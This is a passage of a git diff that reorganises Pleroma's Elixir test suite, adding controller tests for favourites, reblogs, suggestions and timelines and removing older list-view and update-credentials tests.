+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not fail on an unauthenticated request", %{activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ response =
+ build_conn()
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+ assert id == other_user.id
+ end
+
+ test "requires authentication for private posts", %{user: user} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "@#{other_user.nickname} wanna get some #cofe together?",
+ "visibility" => "direct"
+ })
+
+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ favourited_by_url = "/api/v1/statuses/#{activity.id}/favourited_by"
+
+ build_conn()
+ |> get(favourited_by_url)
+ |> json_response(404)
+
+ conn =
+ build_conn()
+ |> assign(:user, other_user)
+ |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))
+
+ conn
+ |> assign(:token, nil)
+ |> get(favourited_by_url)
+ |> json_response(404)
+
+ response =
+ conn
+ |> get(favourited_by_url)
+ |> json_response(200)
+
+ [%{"id" => id}] = response
+ assert id == other_user.id
+ end
+ end
+
+ describe "GET /api/v1/statuses/:id/reblogged_by" do
+ setup do: oauth_access(["read:accounts"])
+
+ setup %{user: user} do
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
+
+ %{activity: activity}
+ end
+
+ test "returns users who have reblogged the status", %{conn: conn, activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+
+ assert id == other_user.id
+ end
+
+ test "returns empty array when status has not been reblogged yet", %{
+ conn: conn,
+ activity: activity
+ } do
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not return users who have reblogged the status but are blocked", %{
+ conn: %{assigns: %{user: user}} = conn,
+ activity: activity
+ } do
+ other_user = insert(:user)
+ {:ok, _user_relationship} = User.block(user, other_user)
+
+ {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not return users who have reblogged the status privately", %{
+ conn: conn,
+ activity: activity
+ } do
+ other_user = insert(:user)
+
+ {:ok, _, _} = CommonAPI.repeat(activity.id, other_user, %{"visibility" => "private"})
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not fail on an unauthenticated request", %{activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.repeat(activity.id, other_user)
+
+ response =
+ build_conn()
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+ assert id == other_user.id
+ end
+
+ test "requires authentication for private posts", %{user: user} do
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{
+ "status" => "@#{other_user.nickname} wanna get some #cofe together?",
+ "visibility" => "direct"
+ })
+
+ build_conn()
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(404)
+
+ response =
+ build_conn()
+ |> assign(:user, other_user)
+ |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))
+ |> get("/api/v1/statuses/#{activity.id}/reblogged_by")
+ |> json_response(200)
+
+ assert [] == response
+ end
+ end
+
+ test "context" do
+ user = insert(:user)
+
+ {:ok, %{id: id1}} = CommonAPI.post(user, %{"status" => "1"})
+ {:ok, %{id: id2}} = CommonAPI.post(user, %{"status" => "2", "in_reply_to_status_id" => id1})
+ {:ok, %{id: id3}} = CommonAPI.post(user, %{"status" => "3", "in_reply_to_status_id" => id2})
+ {:ok, %{id: id4}} = CommonAPI.post(user, %{"status" => "4", "in_reply_to_status_id" => id3})
+ {:ok, %{id: id5}} = CommonAPI.post(user, %{"status" => "5", "in_reply_to_status_id" => id4})
+
+ response =
+ build_conn()
+ |> get("/api/v1/statuses/#{id3}/context")
+ |> json_response(:ok)
+
+ assert %{
+ "ancestors" => [%{"id" => ^id1}, %{"id" => ^id2}],
+ "descendants" => [%{"id" => ^id4}, %{"id" => ^id5}]
+ } = response
+ end
+
+ test "returns the favorites of a user" do
+ %{user: user, conn: conn} = oauth_access(["read:favourites"])
+ other_user = insert(:user)
+
+ {:ok, _} = CommonAPI.post(other_user, %{"status" => "bla"})
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "traps are happy"})
+
+ {:ok, _, _} = CommonAPI.favorite(activity.id, user)
+
+ first_conn = get(conn, "/api/v1/favourites")
+
+ assert [status] = json_response(first_conn, 200)
+ assert status["id"] == to_string(activity.id)
+
+ assert [{"link", _link_header}] =
+ Enum.filter(first_conn.resp_headers, fn element -> match?({"link", _}, element) end)
+
+ # Honours query params
+ {:ok, second_activity} =
+ CommonAPI.post(other_user, %{
+ "status" =>
+ "Trees Are Never Sad Look At Them Every Once In Awhile They're Quite Beautiful."
+ })
+
+ {:ok, _, _} = CommonAPI.favorite(second_activity.id, user)
+
+ last_like = status["id"]
+
+ second_conn = get(conn, "/api/v1/favourites?since_id=#{last_like}")
+
+ assert [second_status] = json_response(second_conn, 200)
+ assert second_status["id"] == to_string(second_activity.id)
+
+ third_conn = get(conn, "/api/v1/favourites?limit=0")
+
+ assert [] = json_response(third_conn, 200)
+ end
+end
diff --git a/test/web/mastodon_api/subscription_controller_test.exs b/test/web/mastodon_api/controllers/subscription_controller_test.exs
index 7dfb02f63..7dfb02f63 100644
--- a/test/web/mastodon_api/subscription_controller_test.exs
+++ b/test/web/mastodon_api/controllers/subscription_controller_test.exs
diff --git a/test/web/mastodon_api/controllers/suggestion_controller_test.exs b/test/web/mastodon_api/controllers/suggestion_controller_test.exs
new file mode 100644
index 000000000..0319d3475
--- /dev/null
+++ b/test/web/mastodon_api/controllers/suggestion_controller_test.exs
@@ -0,0 +1,46 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.SuggestionControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Config
+
+ import Pleroma.Factory
+ import Tesla.Mock
+
+ setup do: oauth_access(["read"])
+
+ setup %{user: user} do
+ other_user = insert(:user)
+ host = Config.get([Pleroma.Web.Endpoint, :url, :host])
+ url500 = "http://test500?#{host}&#{user.nickname}"
+ url200 = "http://test200?#{host}&#{user.nickname}"
+
+ mock(fn
+ %{method: :get, url: ^url500} ->
+ %Tesla.Env{status: 500, body: "bad request"}
+
+ %{method: :get, url: ^url200} ->
+ %Tesla.Env{
+ status: 200,
+ body:
+ ~s([{"acct":"yj455","avatar":"https://social.heldscal.la/avatar/201.jpeg","avatar_static":"https://social.heldscal.la/avatar/s/201.jpeg"}, {"acct":"#{
+ other_user.ap_id
+ }","avatar":"https://social.heldscal.la/avatar/202.jpeg","avatar_static":"https://social.heldscal.la/avatar/s/202.jpeg"}])
+ }
+ end)
+
+ [other_user: other_user]
+ end
+
+ test "returns empty result", %{conn: conn} do
+ res =
+ conn
+ |> get("/api/v1/suggestions")
+ |> json_response(200)
+
+ assert res == []
+ end
+end
diff --git a/test/web/mastodon_api/controllers/timeline_controller_test.exs b/test/web/mastodon_api/controllers/timeline_controller_test.exs
new file mode 100644
index 000000000..bb94d8e5a
--- /dev/null
+++ b/test/web/mastodon_api/controllers/timeline_controller_test.exs
@@ -0,0 +1,289 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.TimelineControllerTest do
+ use Pleroma.Web.ConnCase
+
+ import Pleroma.Factory
+ import Tesla.Mock
+
+ alias Pleroma.Config
+ alias Pleroma.User
+ alias Pleroma.Web.CommonAPI
+
+ clear_config([:instance, :public])
+
+ setup do
+ mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ :ok
+ end
+
+ describe "home" do
+ setup do: oauth_access(["read:statuses"])
+
+ test "the home timeline", %{user: user, conn: conn} do
+ following = insert(:user)
+
+ {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
+
+ ret_conn = get(conn, "/api/v1/timelines/home")
+
+ assert Enum.empty?(json_response(ret_conn, :ok))
+
+ {:ok, _user} = User.follow(user, following)
+
+ conn = get(conn, "/api/v1/timelines/home")
+
+ assert [%{"content" => "test"}] = json_response(conn, :ok)
+ end
+
+ test "the home timeline when the direct messages are excluded", %{user: user, conn: conn} do
+ {:ok, public_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "public"})
+ {:ok, direct_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})
+
+ {:ok, unlisted_activity} =
+ CommonAPI.post(user, %{"status" => ".", "visibility" => "unlisted"})
+
+ {:ok, private_activity} =
+ CommonAPI.post(user, %{"status" => ".", "visibility" => "private"})
+
+ conn = get(conn, "/api/v1/timelines/home", %{"exclude_visibilities" => ["direct"]})
+
+ assert status_ids = json_response(conn, :ok) |> Enum.map(& &1["id"])
+ assert public_activity.id in status_ids
+ assert unlisted_activity.id in status_ids
+ assert private_activity.id in status_ids
+ refute direct_activity.id in status_ids
+ end
+ end
+
+ describe "public" do
+ @tag capture_log: true
+ test "the public timeline", %{conn: conn} do
+ following = insert(:user)
+
+ {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
+
+ _activity = insert(:note_activity, local: false)
+
+ conn = get(conn, "/api/v1/timelines/public", %{"local" => "False"})
+
+ assert length(json_response(conn, :ok)) == 2
+
+ conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "True"})
+
+ assert [%{"content" => "test"}] = json_response(conn, :ok)
+
+ conn = get(build_conn(), "/api/v1/timelines/public", %{"local" => "1"})
+
+ assert [%{"content" => "test"}] = json_response(conn, :ok)
+ end
+
+ test "the public timeline when public is set to false", %{conn: conn} do
+ Config.put([:instance, :public], false)
+
+ assert %{"error" => "This resource requires authentication."} ==
+ conn
+ |> get("/api/v1/timelines/public", %{"local" => "False"})
+ |> json_response(:forbidden)
+ end
+
+ test "the public timeline includes only public statuses for an authenticated user" do
+ %{user: user, conn: conn} = oauth_access(["read:statuses"])
+
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "private"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "unlisted"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
+
+ res_conn = get(conn, "/api/v1/timelines/public")
+ assert length(json_response(res_conn, 200)) == 1
+ end
+ end
+
+ describe "direct" do
+ test "direct timeline", %{conn: conn} do
+ user_one = insert(:user)
+ user_two = insert(:user)
+
+ {:ok, user_two} = User.follow(user_two, user_one)
+
+ {:ok, direct} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, _follower_only} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "private"
+ })
+
+ conn_user_two =
+ conn
+ |> assign(:user, user_two)
+ |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"]))
+
+ # Only direct should be visible here
+ res_conn = get(conn_user_two, "api/v1/timelines/direct")
+
+ [status] = json_response(res_conn, :ok)
+
+ assert %{"visibility" => "direct"} = status
+ assert status["url"] != direct.data["id"]
+
+ # User should be able to see their own direct message
+ res_conn =
+ build_conn()
+ |> assign(:user, user_one)
+ |> assign(:token, insert(:oauth_token, user: user_one, scopes: ["read:statuses"]))
+ |> get("api/v1/timelines/direct")
+
+ [status] = json_response(res_conn, :ok)
+
+ assert %{"visibility" => "direct"} = status
+
+ # Both should be visible here
+ res_conn = get(conn_user_two, "api/v1/timelines/home")
+
+ [_s1, _s2] = json_response(res_conn, :ok)
+
+ # Test pagination
+ Enum.each(1..20, fn _ ->
+ {:ok, _} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi @#{user_two.nickname}!",
+ "visibility" => "direct"
+ })
+ end)
+
+ res_conn = get(conn_user_two, "api/v1/timelines/direct")
+
+ statuses = json_response(res_conn, :ok)
+ assert length(statuses) == 20
+
+ res_conn =
+ get(conn_user_two, "api/v1/timelines/direct", %{max_id: List.last(statuses)["id"]})
+
+ [status] = json_response(res_conn, :ok)
+
+ assert status["url"] != direct.data["id"]
+ end
+
+ test "doesn't include DMs from blocked users" do
+ %{user: blocker, conn: conn} = oauth_access(["read:statuses"])
+ blocked = insert(:user)
+ other_user = insert(:user)
+ {:ok, _user_relationship} = User.block(blocker, blocked)
+
+ {:ok, _blocked_direct} =
+ CommonAPI.post(blocked, %{
+ "status" => "Hi @#{blocker.nickname}!",
+ "visibility" => "direct"
+ })
+
+ {:ok, direct} =
+ CommonAPI.post(other_user, %{
+ "status" => "Hi @#{blocker.nickname}!",
+ "visibility" => "direct"
+ })
+
+ res_conn = get(conn, "api/v1/timelines/direct")
+
+ [status] = json_response(res_conn, :ok)
+ assert status["id"] == direct.id
+ end
+ end
+
+ describe "list" do
+ setup do: oauth_access(["read:lists"])
+
+ test "list timeline", %{user: user, conn: conn} do
+ other_user = insert(:user)
+ {:ok, _activity_one} = CommonAPI.post(user, %{"status" => "Marisa is cute."})
+ {:ok, activity_two} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
+ {:ok, list} = Pleroma.List.create("name", user)
+ {:ok, list} = Pleroma.List.follow(list, other_user)
+
+ conn = get(conn, "/api/v1/timelines/list/#{list.id}")
+
+ assert [%{"id" => id}] = json_response(conn, :ok)
+
+ assert id == to_string(activity_two.id)
+ end
+
+ test "list timeline does not leak non-public statuses for unfollowed users", %{
+ user: user,
+ conn: conn
+ } do
+ other_user = insert(:user)
+ {:ok, activity_one} = CommonAPI.post(other_user, %{"status" => "Marisa is cute."})
+
+ {:ok, _activity_two} =
+ CommonAPI.post(other_user, %{
+ "status" => "Marisa is cute.",
+ "visibility" => "private"
+ })
+
+ {:ok, list} = Pleroma.List.create("name", user)
+ {:ok, list} = Pleroma.List.follow(list, other_user)
+
+ conn = get(conn, "/api/v1/timelines/list/#{list.id}")
+
+ assert [%{"id" => id}] = json_response(conn, :ok)
+
+ assert id == to_string(activity_one.id)
+ end
+ end
+
+ describe "hashtag" do
+ setup do: oauth_access(["n/a"])
+
+ @tag capture_log: true
+ test "hashtag timeline", %{conn: conn} do
+ following = insert(:user)
+
+ {:ok, activity} = CommonAPI.post(following, %{"status" => "test #2hu"})
+
+ nconn = get(conn, "/api/v1/timelines/tag/2hu")
+
+ assert [%{"id" => id}] = json_response(nconn, :ok)
+
+ assert id == to_string(activity.id)
+
+ # works for different capitalization too
+ nconn = get(conn, "/api/v1/timelines/tag/2HU")
+
+ assert [%{"id" => id}] = json_response(nconn, :ok)
+
+ assert id == to_string(activity.id)
+ end
+
+ test "multi-hashtag timeline", %{conn: conn} do
+ user = insert(:user)
+
+ {:ok, activity_test} = CommonAPI.post(user, %{"status" => "#test"})
+ {:ok, activity_test1} = CommonAPI.post(user, %{"status" => "#test #test1"})
+ {:ok, activity_none} = CommonAPI.post(user, %{"status" => "#test #none"})
+
+ any_test = get(conn, "/api/v1/timelines/tag/test", %{"any" => ["test1"]})
+
+ [status_none, status_test1, status_test] = json_response(any_test, :ok)
+
+ assert to_string(activity_test.id) == status_test["id"]
+ assert to_string(activity_test1.id) == status_test1["id"]
+ assert to_string(activity_none.id) == status_none["id"]
+
+ restricted_test =
+ get(conn, "/api/v1/timelines/tag/test", %{"all" => ["test1"], "none" => ["none"]})
+
+ assert [status_test1] == json_response(restricted_test, :ok)
+
+ all_test = get(conn, "/api/v1/timelines/tag/test", %{"all" => ["none"]})
+
+ assert [status_none] == json_response(all_test, :ok)
+ end
+ end
+end
diff --git a/test/web/mastodon_api/list_view_test.exs b/test/web/mastodon_api/list_view_test.exs
deleted file mode 100644
index 73143467f..000000000
--- a/test/web/mastodon_api/list_view_test.exs
+++ /dev/null
@@ -1,22 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.MastodonAPI.ListViewTest do
- use Pleroma.DataCase
- import Pleroma.Factory
- alias Pleroma.Web.MastodonAPI.ListView
-
- test "Represent a list" do
- user = insert(:user)
- title = "mortal enemies"
- {:ok, list} = Pleroma.List.create(title, user)
-
- expected = %{
- id: to_string(list.id),
- title: title
- }
-
- assert expected == ListView.render("list.json", %{list: list})
- end
-end
diff --git a/test/web/mastodon_api/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/mastodon_api_controller/update_credentials_test.exs
deleted file mode 100644
index 71d0c8af8..000000000
--- a/test/web/mastodon_api/mastodon_api_controller/update_credentials_test.exs
+++ /dev/null
@@ -1,304 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.Web.MastodonAPI.MastodonAPIController.UpdateCredentialsTest do
- alias Pleroma.Repo
- alias Pleroma.User
-
- use Pleroma.Web.ConnCase
-
- import Pleroma.Factory
-
- describe "updating credentials" do
- test "sets user settings in a generic way", %{conn: conn} do
- user = insert(:user)
-
- res_conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{
- "pleroma_settings_store" => %{
- pleroma_fe: %{
- theme: "bla"
- }
- }
- })
-
- assert user = json_response(res_conn, 200)
- assert user["pleroma"]["settings_store"] == %{"pleroma_fe" => %{"theme" => "bla"}}
-
- user = Repo.get(User, user["id"])
-
- res_conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{
- "pleroma_settings_store" => %{
- masto_fe: %{
- theme: "bla"
- }
- }
- })
-
- assert user = json_response(res_conn, 200)
-
- assert user["pleroma"]["settings_store"] ==
- %{
- "pleroma_fe" => %{"theme" => "bla"},
- "masto_fe" => %{"theme" => "bla"}
- }
-
- user = Repo.get(User, user["id"])
-
- res_conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{
- "pleroma_settings_store" => %{
- masto_fe: %{
- theme: "blub"
- }
- }
- })
-
- assert user = json_response(res_conn, 200)
-
- assert user["pleroma"]["settings_store"] ==
- %{
- "pleroma_fe" => %{"theme" => "bla"},
- "masto_fe" => %{"theme" => "blub"}
- }
- end
-
- test "updates the user's bio", %{conn: conn} do
- user = insert(:user)
- user2 = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{
- "note" => "I drink #cofe with @#{user2.nickname}"
- })
-
- assert user = json_response(conn, 200)
-
- assert user["note"] ==
- ~s(I drink <a class="hashtag" data-tag="cofe" href="http://localhost:4001/tag/cofe" rel="tag">#cofe</a> with <span class="h-card"><a data-user=") <>
- user2.id <>
- ~s(" class="u-url mention" href=") <>
- user2.ap_id <> ~s(">@<span>) <> user2.nickname <> ~s(</span></a></span>)
- end
-
- test "updates the user's locking status", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{locked: "true"})
-
- assert user = json_response(conn, 200)
- assert user["locked"] == true
- end
-
- test "updates the user's default scope", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{default_scope: "cofe"})
-
- assert user = json_response(conn, 200)
- assert user["source"]["privacy"] == "cofe"
- end
-
- test "updates the user's hide_followers status", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{hide_followers: "true"})
-
- assert user = json_response(conn, 200)
- assert user["pleroma"]["hide_followers"] == true
- end
-
- test "updates the user's skip_thread_containment option", %{conn: conn} do
- user = insert(:user)
-
- response =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{skip_thread_containment: "true"})
- |> json_response(200)
-
- assert response["pleroma"]["skip_thread_containment"] == true
- assert refresh_record(user).info.skip_thread_containment
- end
-
- test "updates the user's hide_follows status", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{hide_follows: "true"})
-
- assert user = json_response(conn, 200)
- assert user["pleroma"]["hide_follows"] == true
- end
-
- test "updates the user's hide_favorites status", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{hide_favorites: "true"})
-
- assert user = json_response(conn, 200)
- assert user["pleroma"]["hide_favorites"] == true
- end
-
- test "updates the user's show_role status", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{show_role: "false"})
-
- assert user = json_response(conn, 200)
- assert user["source"]["pleroma"]["show_role"] == false
- end
-
- test "updates the user's no_rich_text status", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{no_rich_text: "true"})
-
- assert user = json_response(conn, 200)
- assert user["source"]["pleroma"]["no_rich_text"] == true
- end
-
- test "updates the user's name", %{conn: conn} do
- user = insert(:user)
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{"display_name" => "markorepairs"})
-
- assert user = json_response(conn, 200)
- assert user["display_name"] == "markorepairs"
- end
-
- test "updates the user's avatar", %{conn: conn} do
- user = insert(:user)
-
- new_avatar = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{"avatar" => new_avatar})
-
- assert user_response = json_response(conn, 200)
- assert user_response["avatar"] != User.avatar_url(user)
- end
-
- test "updates the user's banner", %{conn: conn} do
- user = insert(:user)
-
- new_header = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{"header" => new_header})
-
- assert user_response = json_response(conn, 200)
- assert user_response["header"] != User.banner_url(user)
- end
-
- test "updates the user's background", %{conn: conn} do
- user = insert(:user)
-
- new_header = %Plug.Upload{
- content_type: "image/jpg",
- path: Path.absname("test/fixtures/image.jpg"),
- filename: "an_image.jpg"
- }
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{
- "pleroma_background_image" => new_header
- })
-
- assert user_response = json_response(conn, 200)
- assert user_response["pleroma"]["background_image"]
- end
-
- test "requires 'write' permission", %{conn: conn} do
- token1 = insert(:oauth_token, scopes: ["read"])
- token2 = insert(:oauth_token, scopes: ["write", "follow"])
-
- for token <- [token1, token2] do
- conn =
- conn
- |> put_req_header("authorization", "Bearer #{token.token}")
- |> patch("/api/v1/accounts/update_credentials", %{})
-
- if token == token1 do
- assert %{"error" => "Insufficient permissions: write."} == json_response(conn, 403)
- else
- assert json_response(conn, 200)
- end
- end
- end
-
- test "updates profile emojos", %{conn: conn} do
- user = insert(:user)
-
- note = "*sips :blank:*"
- name = "I am :firefox:"
-
- conn =
- conn
- |> assign(:user, user)
- |> patch("/api/v1/accounts/update_credentials", %{
- "note" => note,
- "display_name" => name
- })
-
- assert json_response(conn, 200)
-
- conn =
- conn
- |> get("/api/v1/accounts/#{user.id}")
-
- assert user = json_response(conn, 200)
-
- assert user["note"] == note
- assert user["display_name"] == name
- assert [%{"shortcode" => "blank"}, %{"shortcode" => "firefox"}] = user["emojis"]
- end
- end
-end
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index b4b1dd785..c1f70f9fe 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -5,3858 +5,37 @@
defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do
use Pleroma.Web.ConnCase
- alias Ecto.Changeset
- alias Pleroma.Activity
- alias Pleroma.Notification
- alias Pleroma.Object
- alias Pleroma.Repo
- alias Pleroma.ScheduledActivity
- alias Pleroma.User
- alias Pleroma.Web.ActivityPub.ActivityPub
- alias Pleroma.Web.CommonAPI
- alias Pleroma.Web.MastodonAPI.FilterView
- alias Pleroma.Web.OAuth.App
- alias Pleroma.Web.OAuth.Token
- alias Pleroma.Web.OStatus
- alias Pleroma.Web.Push
- alias Pleroma.Web.TwitterAPI.TwitterAPI
- import Pleroma.Factory
- import ExUnit.CaptureLog
- import Tesla.Mock
- import Swoosh.TestAssertions
+ describe "empty_array/2 (stubs)" do
+ test "GET /api/v1/accounts/:id/identity_proofs" do
+ %{user: user, conn: conn} = oauth_access(["n/a"])
- @image "data:image/gif;base64,R0lGODlhEAAQAMQAAORHHOVSKudfOulrSOp3WOyDZu6QdvCchPGolfO0o/XBs/fNwfjZ0frl3/zy7////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAkAABAALAAAAAAQABAAAAVVICSOZGlCQAosJ6mu7fiyZeKqNKToQGDsM8hBADgUXoGAiqhSvp5QAnQKGIgUhwFUYLCVDFCrKUE1lBavAViFIDlTImbKC5Gm2hB0SlBCBMQiB0UjIQA7"
-
- setup do
- mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
- :ok
- end
-
- test "the home timeline", %{conn: conn} do
- user = insert(:user)
- following = insert(:user)
-
- {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
-
- conn =
- conn
- |> assign(:user, user)
- |> get("/api/v1/timelines/home")
-
- assert Enum.empty?(json_response(conn, 200))
-
- {:ok, user} = User.follow(user, following)
-
- conn =
- build_conn()
- |> assign(:user, user)
- |> get("/api/v1/timelines/home")
-
- assert [%{"content" => "test"}] = json_response(conn, 200)
- end
-
- test "the public timeline", %{conn: conn} do
- following = insert(:user)
-
- capture_log(fn ->
- {:ok, _activity} = CommonAPI.post(following, %{"status" => "test"})
-
- {:ok, [_activity]} =
- OStatus.fetch_activity_from_url("https://shitposter.club/notice/2827873")
-
- conn =
- conn
- |> get("/api/v1/timelines/public", %{"local" => "False"})
-
- assert length(json_response(conn, 200)) == 2
-
- conn =
- build_conn()
- |> get("/api/v1/timelines/public", %{"local" => "True"})
-
- assert [%{"content" => "test"}] = json_response(conn, 200)
-
- conn =
- build_conn()
- |> get("/api/v1/timelines/public", %{"local" => "1"})
-
- assert [%{"content" => "test"}] = json_response(conn, 200)
- end)
- end
-
- test "the public timeline when public is set to false", %{conn: conn} do
- public = Pleroma.Config.get([:instance, :public])
- Pleroma.Config.put([:instance, :public], false)
-
- on_exit(fn ->
- Pleroma.Config.put([:instance, :public], public)
- end)
-
- assert conn
- |> get("/api/v1/timelines/public", %{"local" => "False"})
- |> json_response(403) == %{"error" => "This resource requires authentication."}
- end
-
- describe "posting statuses" do
- setup do
- user = insert(:user)
-
- conn =
- build_conn()
- |> assign(:user, user)
-
- [conn: conn]
- end
-
- test "posting a status", %{conn: conn} do
- idempotency_key = "Pikachu rocks!"
-
- conn_one =
- conn
- |> put_req_header("idempotency-key", idempotency_key)
- |> post("/api/v1/statuses", %{
- "status" => "cofe",
- "spoiler_text" => "2hu",
- "sensitive" => "false"
- })
-
- {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
- # Six hours
- assert ttl > :timer.seconds(6 * 60 * 60 - 1)
-
- assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
- json_response(conn_one, 200)
-
- assert Activity.get_by_id(id)
-
- conn_two =
- conn
- |> put_req_header("idempotency-key", idempotency_key)
- |> post("/api/v1/statuses", %{
- "status" => "cofe",
- "spoiler_text" => "2hu",
- "sensitive" => "false"
- })
-
- assert %{"id" => second_id} = json_response(conn_two, 200)
- assert id == second_id
-
- conn_three =
- conn
- |> post("/api/v1/statuses", %{
- "status" => "cofe",
- "spoiler_text" => "2hu",
- "sensitive" => "false"
- })
-
- assert %{"id" => third_id} = json_response(conn_three, 200)
- refute id == third_id
- end
-
- test "replying to a status", %{conn: conn} do
- user = insert(:user)
- {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"})
-
- conn =
- conn
- |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
-
- assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
-
- activity = Activity.get_by_id(id)
-
- assert activity.data["context"] == replied_to.data["context"]
- assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
- end
-
- test "replying to a direct message with visibility other than direct", %{conn: conn} do
- user = insert(:user)
- {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"})
-
